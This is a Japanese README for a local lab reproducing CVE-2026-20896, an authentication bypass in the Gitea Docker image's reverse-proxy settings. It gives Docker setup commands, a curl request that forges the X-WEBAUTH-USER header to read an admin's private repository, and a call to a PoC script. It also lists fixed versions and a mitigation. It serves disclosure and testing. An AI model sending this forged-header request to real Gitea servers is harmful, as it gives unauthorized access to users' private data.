[!WARNING] この PoC はローカルラボまたは明示的にテストを許可されたシステムでのみ使用してください。
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 は、影響を受ける公式 Gitea Docker イメージにおける認証バイパスです。リバースプロキシ認証が有効な場合、イメージが生成する REVERSE_PROXY_TRUSTED_PROXIES = * 設定により、Gitea バックエンドに到達できるクライアントが X-WEBAUTH-USER ヘッダーを通じて既存ユーザーになりすますことができます。
このラボは、ランダムなパスワードを持つ gitea-admin という管理者を作成し、CVE-2026-20896_AUTH_BYPASS_CONFIRMED をプライベートリポジトリ gitea-admin/private-proof に保存します。ランダムな管理者パスワードを知らずにそのファイルを読み取ることで、バイパスが実証されます。
| カテゴリ | バージョン |
|---|---|
| 脆弱性あり | 公式 gitea/gitea Docker イメージ ≤ 1.26.2 |
| 最初の修正版 | 1.26.3 |
| 推奨 | 1.26.4 以降 |
脆弱な構成では、リバースプロキシ認証が有効であり、Gitea バックエンドに直接到達できること、またはアップストリームプロキシが攻撃者が指定した ID ヘッダーを保持することが必要です。このローカル再現にはリバースプロキシコンテナは不要です。
# ビルド
docker build -t cve-2026-20896-gitea-vuln .
# 実行
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Gitea とプライベート証明リポジトリが初期化されるまで数秒待ちます。
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
悪用に成功すると CVE-2026-20896_AUTH_BYPASS_CONFIRMED が返されます。
python poc.py http://127.0.0.1:3000
このスクリプトは、未認証・非管理者・偽装管理者のリクエストを比較し、認可バイパスが確認された場合に VULNERABLE を出力します。Python 3.10 以降が必要で、標準ライブラリのみを使用します。
REVERSE_PROXY_TRUSTED_PROXIES を信頼できるプロキシアドレスに制限してください。docker stop cve-2026-20896-gitea-vuln